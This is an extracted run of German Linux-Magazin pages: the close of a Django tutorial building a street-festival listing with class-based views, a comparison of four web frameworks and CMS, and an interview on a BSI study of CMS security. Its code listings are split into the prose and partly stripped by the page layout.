Management-Befehl erfolgreich arbeiten<br />
und die Datensätze eintragen.<br />
Logik bitte!<br />
Als Nächstes geht es um die Logik, mit<br />
der Django die Daten in den Templates<br />
präsentiert. Diese legt die Datei »views.<br />
py« (Listing 4) fest (Abbildung 1). Hier<br />
treten nun die bereits angesprochenen<br />
Class-based Views in Gestalt einer »List-<br />
View« ins Rampenlicht. Das ergibt Sinn,<br />
da Django eine Liste von Elementen anzeigen<br />
soll. Für die Anzeige einzelner<br />
Elemente käme etwa eine »DetailView«<br />
zum Zuge. Das verdeutlicht auch den<br />
Vorteil von CBV: Gerade mal drei Zeilen<br />
Code sind nötig, um die erste Liste<br />
mit Daten anzuzeigen. Sehr viel passiert<br />
dabei im Hintergrund. Beim FBV-Ansatz<br />
muss sich der Entwickler hingegen selbst<br />
um viele Dinge kümmern und kann so<br />
nicht immer dem DRY-Ansatz („Don’t<br />
Repeat Yourself“) folgen.<br />
In der View selbst wird zuerst das heutige<br />
Datum bestimmt. Das ist wichtig,<br />
denn das Template soll später nur die<br />
Daten des aktuellen Monats anzeigen.<br />
Dann legt der Entwickler für die Klasse<br />
ein »queryset« fest. Das versammelt alle<br />
Elemente, auf die das Template später Zugriff<br />
erlaubt. Dazu ruft Django die Klasse<br />
des Modells »StrassenFest« auf, das gerade<br />
implementiert wurde.<br />
Abbildung 1: Die vom Autor genutzte IDE heißt Pycharm, im Bild zu sehen ist die geöffnete Datei »views.py«.
Titelthema<br />
www.linux-magazin.de Django 11/2013<br />
42<br />
01 from django.conf.urls import patterns, include, url<br />
02 from .views import StrassenFestList<br />
03<br />
04 urlpatterns = patterns('',<br />
05 url(r'^$', StrassenFestList.as_view(),<br />
06 )<br />
07<br />
01 {% extends 'base.html' %}<br />
02 {% block content %}<br />
03 <br />
04 {% csrf_token %}<br />
05 <br />
06 <br />
07 <br />
08 <br />
09 <br />
10 <br />
11 <br />
12 {% for data in object_list %}<br />
13 <br />
14 <br />
15 {{ data.bezeichnung }}<br />
Die Methode »objects.filter()« schränkt<br />
die aus der Datenbank ausgegebenen<br />
Elemente ein, mit dem Parameter »von__<br />
year« auf die Elemente aus dem aktuellen<br />
Jahr. Das Gleiche gilt für die Monate mit<br />
»von__month«. Der Befehl »order_by()«<br />
ordnet die Elemente.<br />
Mehr ist in den Views anfangs nicht zu<br />
tun. Django sucht nun automatisch nach<br />
dem passenden Template, in diesem Fall<br />
unter »templates/streetparty/strassenfest_list.html«.<br />
Es kann aber über das<br />
Attribut »template_name« auch eine andere<br />
Vorlage wählen. Die Standardauswahl<br />
basiert auf dem Namen der Klasse<br />
und der hier benutzten Class-based View.<br />
Zusätzlich muss der Django-Entwickler<br />
den Ordner »templates/streetparty« im<br />
»streetparty«-Verzeichnis anlegen.<br />
Selbstdarsteller<br />
Anschließend knöpft er sich die Datei zur<br />
Darstellung im Browser vor (Listing 5).<br />
In »strassenfest_list.html« steht die Liste<br />
»object_list« zur Ausgabe in Django bereit.<br />
Die Framework-eigene Template Engine,<br />
die in den Templates ihren Auftritt<br />
hat, lässt sich bei Bedarf austauschen.<br />
Django-Projekte bauen ihre Templates<br />
meist modular auf, diese Möglichkeit<br />
bietet auch die Template Engine.<br />
Im Beispiel fußt das Template auf einem<br />
Basis-Template, von dem es über den<br />
Befehl »{% extends %}« erben kann.<br />
Im Basis-Template lassen sich dann mit<br />
»{% block %}« an verschiedenen Stellen<br />
im Markup Blöcke anlegen, etwa für In-<br />
16 Von {{ data.von|date:"d.m.Y" }} bis {{ data.bis|date:"d.m.Y" }}<br />
17 <br />
18 <br />
19 {% endfor %}<br />
20 <br />
21 <br />
name='feste'),<br />
22 {% endblock %}<br />
Listing 6: »urls.py«<br />
Listing 7: »strassenfest_list.html«<br />
halte oder einzelne CSS-Definitionen. In<br />
der Datei »strassenfest_list.html« gibt am<br />
Anfang eine Liste die Feste aus. Dank des<br />
For-Operator durchläuft das Konstrukt<br />
alle Elemente aus »object_list«. Das erlaubt<br />
den Zugriff auf einzelne Elemente,<br />
in diesem Fall Objekte, zum Beispiel auf<br />
das Feld »bezeichnung« über »{{ data.<br />
bezeichnung }}«.<br />
Um das Datum in einem lesbaren Format<br />
darzustellen, benutzt Zeile 10 den »date«-<br />
Filter. Django bietet standardmäßig verschiedene<br />
Filter und Tags für Templates<br />
an, die man selber erweitern kann.<br />
Nach der Logik passt nun auch die Darstellung.<br />
Fehlt noch die URL zum Aufrufen<br />
im Browser, also das Routing. Diese<br />
URLs muss Django fast immer neu festlegen,<br />
unter »streetparty/urls.py« befinden<br />
sich die URL-Definitionen für die App<br />
(Listing 6).<br />
Das Beispiel braucht nur eine URL, die<br />
sich aus der relativen URL, der aufzurufenden<br />
View und dem Namen der URL<br />
zusammensetzt. Die URL selbst kann mit<br />
Hilfe regulärer Ausdrücke Parameter abfangen<br />
und an die View weitergeben. Der<br />
Name ist nötig, um nicht direkt die URL<br />
in die Templates schreiben zu müssen.<br />
Django soll sich die URL selbst zusammenbauen,<br />
denn so lässt sie sich ohne<br />
Nachteile für die Nutzbarkeit ändern.<br />
Verwendet der Entwickler CBV, muss er<br />
eine CBV-Methode aufrufen, konkret die<br />
Methode »as_view()«. Ruft er das Beispiel<br />
jetzt im Browser auf, müsste sich unter<br />
der entsprechenden URL eine Liste mit<br />
Veranstaltungen in diesem Monat befinden<br />
(Abbildung 2).<br />
Soll der Nutzer nur die Veranstaltungen<br />
in einem bestimmten Zeitraum finden,<br />
also zwischen zwei Daten, kommen der<br />
Einfachheit halber zwei Input-Felder vom<br />
Typ »date« und mit den Namen »von«<br />
und »bis« zum Einsatz, die Listing 7 ergänzt.<br />
Diese Felder sollten sich in einem<br />
Formular befinden. Als Formular-URL<br />
Listing 8: »views.py«<br />
01 # überschreibt Klasse aus Listing 4<br />
02 class StrassenFestList(ListView):<br />
03 def get_queryset(self):<br />
04 qs = StrassenFest.objects.order_by('von')<br />
05 form_data = self.request.POST<br />
06 if 'von' in form_data and 'bis' in form_data:<br />
07 qs = qs.filter(von__gte=form_data['von'], bis__lte=<br />
form_data['bis'])<br />
08 else:<br />
09 today = timezone.now()<br />
10 qs = qs.filter(von__year=today.year, von__month=<br />
today.month)<br />
11 return qs<br />
12<br />
13 def post(self, *args, **kwargs):<br />
14 return self.get(*args, **kwargs)
Abbildung 2: Django zeigt nun eine Liste der geplanten Feste an. Diese lässt<br />
sich jetzt in das passende Stylesheet der <strong>Web</strong>seite einbetten.<br />
dient der URL-Befehl der Template Engine:<br />
»{% url "feste" %}«. Das Formular<br />
braucht aus Sicherheitsgründen ein<br />
CSRF-Token [6], das der Programmierer<br />
mit »{% csrf_token %}« einbindet. Vergisst<br />
er dies, nimmt Django die »POST«-<br />
Daten nicht an – ein Sicherheitsaspekt,<br />
an dem er nicht vorbei kommt.<br />
Das Formular nutzt dieselbe URL wie für<br />
die eigentliche Seite, um die gleiche View<br />
aufzurufen. Will der Entwickler die Daten<br />
verarbeiten, muss er die View erweitern,<br />
indem er die Klasse »StrassenFestList()«<br />
überschreibt (Listing 8).<br />
Das Skript ruft die »post()«-Methode der<br />
Klasse »ListView« auf, sobald »POST«-<br />
Daten übergeben werden. Letztere speichert<br />
ein Request-Objekt und macht sie<br />
so für die Methode nutzbar. Das Beispiel<br />
verwendet einen neuen Filter. Der Befehl<br />
»von__gte« steht für „Gib mir alle Elemente,<br />
die größer als oder gleich dem<br />
folgenden Datensatz sind“. Der Datensatz<br />
ist das Anfangsdatum des Filters. Beim<br />
Enddatum verhält es sich ähnlich, »lte«<br />
steht hier für kleiner oder gleich. Zeile 13<br />
und 14 übergeben die gefilterten Daten<br />
noch dem Kontext und rufen die Methode<br />
auf, die das Template dann rendert.<br />
Fazit<br />
Django ist durch seinen modularen Aufbau<br />
eher für große Projekte konzipiert,<br />
dank der CBV und der automatisierten<br />
Logiken dahinter lassen sich aber auch<br />
kleinere Projekte mit wenig Entwicklungsaufwand<br />
umsetzen. Hält sich der<br />
Entwickler an die Vorgaben<br />
und Anregungen<br />
der Django-Dokumentation<br />
und setzt diese<br />
effektiv ein, kann er<br />
stabile Anwendungen<br />
mit allen Django-Features<br />
entwickeln. Dies<br />
verlangt einen hohen<br />
Lernaufwand, aber<br />
die CBV vermeiden<br />
unnötigen Boilerplate-<br />
Code. Der Entwickler<br />
gewinnt Flexibilität<br />
und Sicherheit.<br />
Aufgrund seiner Modularität<br />
lässt sich das<br />
Beispiel auch leicht in<br />
andere Projekte integrieren,<br />
eine große Stärke von Django. Hinter<br />
Django steht eine große Community,<br />
die für fast jeden Anwendungszweck<br />
Tools und Plugins bereithält. Eine Schwäche<br />
liegt im langwierigen Setup-Prozess<br />
für neue Projekte: Wild drauf los zu programmieren,<br />
ist mit Django schwierig,<br />
wie wohl mit den meisten professionellen<br />
Frameworks. Wer es kleiner mag, sollte<br />
einen Blick auf die Django-Alternative<br />
Flask [7] werfen. (kki) <br />
n<br />
Infos<br />
[1] Django-Dokumentation:<br />
[https:// docs. djangoproject. com/ en/ 1. 5/]<br />
[2] Two Sccops of Django:<br />
[https:// django. 2scoops. org]<br />
[3] Django-Tutorial:<br />
[https:// docs. djangoproject. com/ en/ dev/<br />
intro/ tutorial01/]<br />
[4] Datenquelle: [http:// daten. berlin. de/<br />
datensaetze/ berliner‐und‐brandenburgervolks‐und‐stra%C3%9Fenfeste‐2013]<br />
[5] Berliner Bierfestival:<br />
[http:// www. bierfestival‐berlin. de]<br />
[6] CSRF: [https:// de. wikipedia. org/ wiki/<br />
Cross‐Site‐Request‐Forgery]<br />
[7] CSRF: [https:// de. wikipedia. org/ wiki/<br />
Cross‐Site‐Request‐Forgery]<br />
[8] Listings zum Artikel:<br />
[http:// www. linux‐magazin. de/ Ausgaben/<br />
Listings/ 11/django]<br />
Der Autor<br />
Sven Schannak ist als Unternehmer und leidenschaftlicher<br />
Softwareentwickler an der wundervollen<br />
Ostsee tätig.
Titelthema<br />
www.linux-magazin.de Bewertung 11/2013<br />
46<br />
Die vier vorgestellten Lösungen im Direktvergleich<br />
Sieg programmiert<br />
Viele Wege führen ans Ziel, das gilt auch für die Wahl von Software für die <strong>Web</strong>site. Wer aber zuerst ankommt<br />
und unterwegs Angenehmes erlebt, ist klar im Vorteil. Der Versuch einer Podest-Zuweisung. Mathias Huber<br />
© kallejipp, photocase.com<br />
Durchs Ziel haben sie es alle geschafft:<br />
Sowohl mit Contao und Magnolia CMS<br />
als auch mit Rails und Django haben<br />
die beauftragten Experten eine funktionierende<br />
Veranstaltungsübersicht produziert.<br />
Der Unterschied besteht darin,<br />
mit welchen Mitteln und mit welchem<br />
Aufwand sie es getan haben.<br />
Stilfrage<br />
Differenzen zeigen sich aber auch im Arbeitsstil:<br />
Dass beispielsweise hinter Magnolia<br />
CMS das Räderwerk eines Unternehmens<br />
arbeitet, zeigte sich rasch. Die<br />
Firma beauftragte einen In-House-Entwickler,<br />
der innerhalb von zwei Wochen<br />
eine ansprechende Lösung produzierte<br />
und an die Redaktion schickte. Daneben<br />
war er der einzige, der neben dem Code<br />
auch noch mehrere Seiten Dokumentation<br />
einreichte, zudem eine vorbereitete<br />
Tomcat-Instanz zum Ausprobieren.<br />
Der Ruby-on-Rails-Mann installierte seine<br />
Anwendung dafür flugs öffentlich auf<br />
der Plattform Heroku,<br />
publizierte den Code<br />
auf Github und unterzog<br />
ihn den ständigen<br />
Tests des freien Con-<br />
tinuous-Integration-<br />
Tools Travis.<br />
Möchte man den Absolventen<br />
eine Rangfolge<br />
zuweisen, bietet<br />
es sich an, erreichte<br />
Features abzuhaken.<br />
Magnolia CMS hat<br />
die Daten erfolgreich<br />
importiert, verwendet<br />
einen Cache und<br />
bietet dem Anwender<br />
ein hübsches Kalender-Widget.<br />
Dazu<br />
kommt jedoch noch ein besonderes Feature:<br />
Sobald die Daten im Java Content<br />
Repository gespeichert sind, lassen sie<br />
sich über die Redaktionsoberfläche auch<br />
bearbeiten, sperren oder freigeben. Diesen<br />
im Testfeld einmaligen Zusatznutzen<br />
honoriert die Redaktion symbolisch mit<br />
dem ersten Platz.<br />
Das einzige, was man Magnolia ankreiden<br />
könnte, ist die etwas wortreiche<br />
Syntax der Programmiersprache Java. Da<br />
fassen sich die beiden Kandidaten Rails<br />
mit Ruby und Django mit Python merklich<br />
kürzer. Sie haben überhaupt einiges<br />
gemeinsam, denn sie folgen beide der Architektur<br />
Model-View-Controller (MVC)<br />
und verwenden einen Object-Relational-<br />
Mapper (ORM), der die Brücke zwischen<br />
SQL-Datenbank und objektorientierter<br />
Programmierung schlägt.<br />
Ruby kommt mit weniger Bearbeitung<br />
von Konfigurationsdateien aus, da es<br />
stärker nach dem Motto „Convention<br />
over Configuration“ ausgerichtet ist.<br />
Wenn ohnehin schon alle Komponenten<br />
vorgeschriebene Namen oder zumindest<br />
Namensmuster haben, bleibt nicht mehr<br />
viel zu konfigurieren. Doch nicht allein<br />
deshalb hat Ruby on Rails die Nase ein<br />
wenig vor Django. Der Rails-Entwickler<br />
hat in einem beherzten Coup gewagt,<br />
ganze Komponenten auszutauschen: Das<br />
Ruby-Framework dient ihm nur zum Umsetzen<br />
eines Datenservers, die Ansicht<br />
übernimmt Angular.js in Javascript. Dazu<br />
verwendet er noch ein Template-System<br />
seiner Wahl, verwaltet die Javascript-<br />
Bibliotheken mit dem Paketmanager<br />
Bower – und liefert die Tests für seine<br />
Anwendung gleich mit. Eine beeindruckende<br />
Demonstration von Flexibilität<br />
und Erweiterbarkeit. Das hätte fast für<br />
den ersten Platz gereicht, auf jeden Fall<br />
aber für die Nummer zwei.<br />
Schnell, aber zu Fuß<br />
Beim PHP-basierten Contao brauchte<br />
der Entwickler zwar nur einen einzigen<br />
Tag für seine Lösung, aber es waren insgesamt<br />
elf Dateien für die Umsetzung<br />
erforderlich, nur bei einzelnen könnte<br />
ein mitgelieferte Generator helfen. Das<br />
abgedruckte Listing zeigt, dass er auch<br />
Selbstverständliches wie den Speicherort<br />
der CSS-Stylesheets im Code angeben<br />
musste. Klug ist dagegen die Idee, den<br />
Eventkalender als Erweiterung zu implementieren<br />
– dafür umso enttäuschender,<br />
dass es keinen Installationsmechanismus<br />
für das fertige Modul gibt.<br />
Wer schließlich das so genannte Template<br />
für Contao betrachtet, vermisst schmerzlich<br />
die Trennung von Präsentation und<br />
Logik: Hier mischt sich eine HTML-Tabelle<br />
mit waschechtem PHP-Code. Und<br />
schließlich folgt noch ein regelrechtes<br />
K.-o.-Kriterium: Das Fehlen aktueller,<br />
brauchbarer Dokumentation. n
Titelthema<br />
www.linux-magazin.de Interview 11/2013<br />
48<br />
BSI-Studie zur CMS-Sicherheit<br />
Security-Matrix<br />
Für das deutsche Bundesamt für Sicherheit in der Informationstechnik (BSI) haben die Init AG für digitale<br />
Kommunikation und das Fraunhofer SIT die „Sicherheitsstudie Content Management Systeme“ angefertigt.<br />
Über diese hat das <strong>Linux</strong>-<strong>Magazin</strong> mit einem der Autoren, Christian Breitenstrom, gesprochen. Kristian Kißling<br />
Die Studie [1], auch zu finden auf der<br />
Delug-DVD, überprüft fünf quelloffene<br />
CMS anhand von etwa 80 Einzelkriterien<br />
auf ihre Sicherheit. Auf Basis der positiven<br />
(+), negativen (-) und vereinzelt<br />
neutralen (0) Bewertungen entstand am<br />
Ende eine vergleichende, CMS-übergreifende<br />
Matrix. Das <strong>Linux</strong>-<strong>Magazin</strong> befragt<br />
dazu Christian Breitenstrom, Senior Software<br />
Entwickler bei der Init AG.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Wer hat alles an der CMS-Studie<br />
mitgewirkt?<br />
Christian Breitenstrom: Neben meinem Arbeitgeber<br />
war auch das Fraunhofer SIT<br />
daran beteiligt, das unter anderem Sicherheitsuntersuchungen<br />
und Penetrationstests<br />
von Systemen vornimmt, die<br />
IT-Grundschutzschulungen für das BSI<br />
umsetzt und eine eigene Public-Key-Infrastruktur<br />
für die Fraunhofer Gesellschaft<br />
betreibt – ich schätze für über 20 000 Personen.<br />
Insofern hat das Fraunhofer SIT<br />
im Bereich Sicherheitsforschung einen<br />
sehr guten Einblick in Vorgehensmodelle<br />
und Methoden, weiß, wie man Software<br />
testet und bewertet.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Wie ist die Init AG für digitale<br />
Kommunikation dazu gekommen?<br />
Christian Breitenstrom: Wir entwickeln seit<br />
über 15 Jahren Portale und <strong>Web</strong>sites für<br />
Regierungen und Verwaltungen, NGOs<br />
und die Wirtschaft. In vielen dieser Projekte<br />
setzen wir CMS ein.<br />
Da wir viele <strong>Web</strong>sites in unserem BSIzertifizierten<br />
Rechenzentrum betreiben,<br />
haben wir einen ganz guten Vergleich der<br />
eingesetzten CMS. Deswegen wissen wir,<br />
wie ein gut aufgesetztes Patch-Management<br />
funktioniert, welche Probleme und<br />
Fragen dabei immer wieder auftauchen<br />
und welche Fragen daraus resultieren.<br />
Wir blicken, im Unterschied zum Fraunhofer<br />
SIT, eher mit der Anwenderbrille<br />
auf IT-Sicherheit.<br />
Abbildung 1: Plone unterscheidet sich nicht nur in seiner Architektur von den anderen Systemen.<br />
© Quelle: Sicherheitsstudie CMS<br />
<strong>Linux</strong>-<strong>Magazin</strong>: An wen richtet sich diese Studie?<br />
Christian Breitenstrom: Wir haben gemeinsam<br />
mit dem BSI definiert, dass die Zielgruppe<br />
aus Personen besteht, die ein<br />
Mindestmaß an technischem Verständnis<br />
mitbringen, die also in der Regel die<br />
Entscheider sind, die in ihren Organisationen<br />
Systeme auswählen und dafür verantwortlich<br />
sind, dass diese über Jahre<br />
hinweg sicher laufen.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Konkret untersucht die Studie<br />
fünf CMS, nämlich Typo 3, Plone, Wordpress,<br />
Drupal und Joomla. Warum nur fünf, wenn es um<br />
Orientierung im CMS-Dschungel geht?<br />
Christian Breitenstrom: Ausschlaggebend<br />
war für das BSI auch die Budgetfrage. Jedes<br />
weitere System, das man untersuchen<br />
will, kostet. Das Budget war vorgegeben,<br />
also musste man die Zahl begrenzen.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Warum haben Sie genau diese<br />
fünf Vertreter ausgewählt?<br />
Christian Breitenstrom: Wir haben uns auf<br />
die fünf Systeme konzentriert, die aus<br />
BSI-Sicht in Deutschland sehr verbreitet<br />
sind, da zur Zielgruppe vor allem deutsche<br />
Entscheider gehören, nicht internationale.<br />
Die nächste Frage ist, warum<br />
nur Open-Source-Systeme und keine<br />
kommerziellen?<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Genau.<br />
Christian Breitenstrom: Das haben wir uns<br />
natürlich auch überlegt. Es ist nicht gerechtfertigt,<br />
die Studie auf genau die Systeme<br />
und genau diese Anzahl zu begrenzen.<br />
Man muss vielmehr eine Methodik<br />
und Kriterien entwickeln, nach denen<br />
man andere Systeme genauso bewerten<br />
kann, wie wir es hier getan haben.<br />
Dann könnte ein Auftraggeber, der ein<br />
von uns nicht bewertetes System verwenden<br />
möchte, eine eigene Evaluation<br />
vornehmen und das Ergebnis im Sinne<br />
von Open Source und Open Knowledge
© Quelle: Sicherheitsstudie CMS<br />
Interview 11/2013<br />
Titelthema<br />
www.linux-magazin.de<br />
49<br />
Abbildung 2: Das sind nur einige der Kriterien aus dem ITIL-Bereich, die im Rahmen der Studie bewertet wurden.<br />
einfach dazustellen. Kommt dabei eine<br />
genügend große Anzahl von bewerteten<br />
Open-Source-Systemen zusammen,<br />
müssten kommerzielle Hersteller ebenso<br />
ein Interesse daran haben, da mit aufzutauchen.<br />
Ein unabhängiger Dritter könnte<br />
dann so eine Studie durchführen.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Plone (Abbildung 1) weicht ein<br />
bisschen vom Standard ab. Sie haben eine Tabelle<br />
in der Studie, relativ am Anfang, welche<br />
den Marktanteil von Plone auf 0,37 Prozent<br />
schätzt, was sehr wenig ist im Vergleich zu den<br />
anderen CMS. Warum haben Sie Plone mit in die<br />
Studie genommen?<br />
Christian Breitenstrom: 0,37 Prozent sind<br />
nicht viel, aber es gibt mindestens ein<br />
Bundesministerium, das Plone verwendet,<br />
und einige regionale Sites tun es<br />
auch. Auf die Verwaltung bezogen ist es<br />
nicht unwichtig.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Die untersuchten Kriterien<br />
stammen aus dem ITIL-Bereich [2], also Service<br />
Design, Service Transition, Service Operation.<br />
Nach welchem Schema haben Sie die einzelnen<br />
Kriterien (Abbildung 2) gefunden, die Sie dort<br />
bewerten, also auch die Unterkriterien innerhalb<br />
der drei Bereiche?<br />
Christian Breitenstrom: Die Frage war natürlich,<br />
welche Kriterien sind so allgemein,<br />
dass sie nicht nur für die Systeme gelten,<br />
die wir jetzt untersuchen. Wir haben<br />
anfangs nicht nur PHP- oder Python-<br />
Systeme betrachtet, deswegen sind auch<br />
einige Kriterien dabei, die Java-Systeme<br />
berücksichtigen. Wie wir dabei vorgegangen<br />
sind? Es gab verschiedene Optionen,<br />
etwa Open SAMM [3], das offene<br />
Software Assurance Maturity Model. Die<br />
Wahl fiel auf ITIL, weil es eben nicht nur<br />
die Software betrachtet, sondern auch<br />
die Entwicklung der Software, ihre Konzeption,<br />
das Deployment, das Leben damit<br />
und ihre Entsorgung. Wenn man ein<br />
CMS über Jahre hinweg sicher betreiben<br />
möchte und vor einer Vergabeentscheidung<br />
steht, muss man all diese Aspekte<br />
berücksichtigen.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Einige der Kriterien definieren<br />
Sie als Ausschlusskriterien, ihr Fehlen als „undenkbares<br />
Manko“. Sie haben auf Seite 76 der<br />
Studie geschrieben, dass kein System die Trennung<br />
von fachlichen Daten und Systemdaten<br />
beherrscht. Wäre das nicht ein Ausschlusskriterium<br />
für öffentliche Systeme gewesen, die mit<br />
personenbezogenen Daten arbeiten?<br />
Christian Breitenstrom: Nein, das ist nicht<br />
unbedingt ein Ausschlusskriterium. Wenn<br />
man es weiß und es transparent ist, muss<br />
sich der zuständige Security Engineer<br />
überlegen, welche anderen Elemente er<br />
etabliert, um das Manko zu kompensieren.<br />
Er kann aber nicht, wie das oft geschieht,<br />
schlicht sagen: „Dieses Security-<br />
Feature gibt es nicht? Na gut, dann brauchen<br />
wir es nicht umzusetzen.“<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Was kann man denn konkret tun,<br />
wenn diese Trennung zwischen fachlichen Daten<br />
und Systemdaten komplett fehlt?<br />
Christian Breitenstrom: Manche Datenbanksysteme<br />
ermöglichen eine Komplettverschlüsselung<br />
der Daten. In diesem Fall<br />
muss man entweder alles, was in der Datenbank<br />
steht, oder die Partitionen selbst<br />
verschlüsseln. Auch muss man überlegen,<br />
ob eine Verschärfung des Konzepts<br />
für Benutzer-Rollenrechte nötig ist.<br />
Was wir natürlich für sehr gut hielten,<br />
das wäre, wenn man bestimmte Bereiche<br />
der Daten tatsächlich vor der Anwendung<br />
schon verschlüsselt, bevor diese sie in<br />
die Datenbank schreibt. Dazu gehören<br />
etwa Logging-Informationen, die später<br />
für Audits verwendet werden, wenn der<br />
Anwender das Kriterium der Nachvollziehbarkeit<br />
erfüllen muss. Diese Loggings<br />
erhalten oftmals Informationen, die aus<br />
datenschutzrechtlicher Sicht nicht in falsche<br />
Hände fallen dürfen.<br />
Wir hätten uns natürlich gewünscht,<br />
dass es ein Feature gibt, mit dessen Hilfe<br />
ein Anwendungsentwickler sagen kann:<br />
„Hier, das sind meine besonders wichtigen<br />
Daten, die behandle mal besonders<br />
umsichtig.“ Das gibt es aber momentan<br />
nicht.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Die Studie sagt, dass kein CMS<br />
eine schlüsselfertige Lösung mitbringt, wenn<br />
es um Sicherheit geht. Das heißt, der Anwender<br />
muss im Prinzip bei allen erst mal nachbessern<br />
und konfigurieren. Hat sich da irgendwas herauskristallisiert,<br />
was Sie empfehlen im Umgang<br />
mit CMS?<br />
Christian Breitenstrom: Es ist ganz wichtig,<br />
dass man jetzt nicht sagt, System X ist<br />
besser als A, B oder C und deswegen
Titelthema<br />
www.linux-magazin.de Interview 11/2013<br />
50<br />
kann man System X einfach so installieren<br />
und betreiben, wie es ist. Wir empfehlen,<br />
eine Erstinstallation durch Security-Profis<br />
überprüfen zu lassen. Das dauert nicht<br />
lange, weil die genau wissen, wohin sie<br />
gucken müssen.<br />
Das zweite war, dass man die Systeme<br />
professionell betreibt. Alle Systeme,<br />
auch wenn einige sicherer sind als andere,<br />
sollte der Anwender mindestens<br />
15 Minuten am Tage monitoren. Über<br />
die 15 Minuten lässt sich streiten, aber<br />
wichtig ist, dass wir sagen: täglich. Treten<br />
Schwachstellen auf und werden Security<br />
Fixes ausgeliefert, dann gibt es auch Exploits,<br />
die diese Schwachstellen automatisiert<br />
austesten. Es reicht nicht, alle drei<br />
Wochen mal nachzusehen.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Hilft es, wenn der Betreiber von<br />
den Standards abweicht, indem er den Standarduser<br />
nicht »Admin« nennt, die Namen der Datenbanktabellen<br />
modifiziert und gleich bei der<br />
Grundkonfiguration einige Dinge im System ändert?<br />
Oder erschwert das eher den Umgang mit<br />
so einem CMS?<br />
Christian Breitenstrom: Das kommt auch<br />
wieder auf das System an: In der Regel<br />
hilft es schon eine Menge. Es geht ja um<br />
eine Verteidigung in der Tiefe und jede<br />
Schwierigkeit, die ich einbaue, bewahrt<br />
mich vielleicht einige Minuten länger davor,<br />
dass ein Angreifer meine Hinterlist<br />
entdeckt und bekämpft. Sobald wir aber<br />
in den Bereich Security by Obscurity kommen,<br />
hilft mir das überhaupt nicht lange.<br />
Insofern muss man im Einzelfall gucken,<br />
ob das angebracht ist oder nicht.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Was genau meinen Sie mit „Verteidigung<br />
in der Tiefe“, in der Studie taucht es ja<br />
einige Male auf?<br />
Christian Breitenstrom: Das ist eines der<br />
grundlegenden Prinzipien. Contentmanagement-Systeme<br />
sind weithin verbreitet.<br />
Tritt dort ein Fehler auf, der sich<br />
ausnutzen lässt, sind Hunderte oder Tausende<br />
von <strong>Web</strong>sites betroffen. Das heißt<br />
also, es ist eigentlich eine Monokultur.<br />
Habe ich nicht rechtzeitig gepatcht oder<br />
gibt es einen Zero-Day-Exploit, den noch<br />
niemand gemeldet hat, muss ich mindestens<br />
eine, wenn nicht zwei oder drei<br />
Rückfalllinien haben, um meine Systeme,<br />
meine innere Infrastruktur, gegen diese<br />
Angriffe zu schützen.<br />
In diesem Fall kann ich mir überlegen,<br />
welche Security-Kontrollen ich benutzen<br />
will, um etwa meine Datenbankserver<br />
© Quelle: Sicherheitsstudie CMS<br />
Abbildung 3: Durchschnittliche Verteilung der Schwachstellentypen unter allen CMS.<br />
vor dem Contentmanagement-Server<br />
zu schützen, der gegebenenfalls schon<br />
übernommen wurde. Wenn ich ein CMS<br />
einsetze, muss ich also sehr viel mehr<br />
Ideenreichtum, Kreativität, Know-how<br />
und Untersuchungen in die Konzeption<br />
meiner <strong>Web</strong>site und meiner Infrastruktur<br />
stecken. Ich darf mich nicht nur darüber<br />
freuen, dass die Kosten reduziert sind,<br />
sondern muss meine Infrastruktur besser<br />
strukturieren, als wenn ich eine Individualentwicklung<br />
verwende.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Dann haben Sie Schwachstellenzählungen<br />
vorgenommen (Abbildung 3). Sie<br />
haben in einem bestimmten Zeitraum, 2010 bis<br />
2012, die Schwachstellen dieser verschiedenen<br />
Systeme untersucht. Was hat diese Erhebung Ihrer<br />
Meinung nach gebracht?<br />
Christian Breitenstrom: Sie gibt eine grobe<br />
Orientierung, insofern man feststellen<br />
kann, dass es zwar Unterschiede gibt,<br />
diese aber nicht in Zehner- und Hunderter-Potenzen<br />
bestehen. Man kann sagen,<br />
dass die Open-Source-Systeme – ganz<br />
grob betrachtet – in einer Liga spielen.<br />
Hätte sich herausgestellt, dass es bei einem<br />
System sehr viel mehr Bugs gibt als<br />
bei anderen, dann wäre das schon eine<br />
Aussage gewesen.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Oder das CMS hat einfach besonders<br />
viele Erweiterungen oder besonders viele<br />
Nutzer?<br />
Christian Breitenstrom: In diesem Fall würde<br />
man schauen müssen, ob es tatsächlich<br />
nur die Vielzahl von Erweiterungen ist<br />
oder ob es einen grundlegenden Architekturmangel<br />
gibt, der immer wieder<br />
dazu führt, dass es kompliziert wird, für<br />
dieses System sichere Erweiterungen zu<br />
bauen.<br />
Eine Schwierigkeit besteht darin, dass<br />
die erkannten Schwachstellen natürlich<br />
von der Anzahl der Tests, von tatsächlichen<br />
Hacks sowie von der Fähigkeit des<br />
Security-Teams abhängen, die Schwachstellen<br />
zu erkennen. Wir mussten beispielsweise<br />
im Nachhinein feststellen,<br />
dass bei Plone sehr viele Schwachstellen<br />
zwar gefixt und auch die CVE-Numbers<br />
reserviert wurden, aber die zugehörigen<br />
CVEs dann nicht im Verzeichnis auftauchen.<br />
So reflektierten die dortigen Zahlen<br />
schon mal nicht die Zahlen, die tatsächlich<br />
gemeldet waren.<br />
<strong>Linux</strong>-<strong>Magazin</strong>: Es gibt bekanntlich die Möglichkeit,<br />
statische Code-Analysen vorzunehmen,<br />
zum Beispiel mit Coverity. Die haben ziemlich<br />
viele FOSS-Projekte untersucht, aber es ist keines<br />
von diesen CMS dabei. Wäre es nicht auch<br />
eine Option gewesen, solche Tests in die Studie<br />
mit aufzunehmen?<br />
Christian Breitenstrom: Das Problem von<br />
Coverity ist, dass die momentan kein<br />
PHP unterstützen, insofern sind diese<br />
Systeme nicht dabei. Aber ja natürlich,<br />
statische Quellcode-Analysen sind auch<br />
eine der wichtigen Maßnahmen, die wir<br />
empfohlen haben.<br />
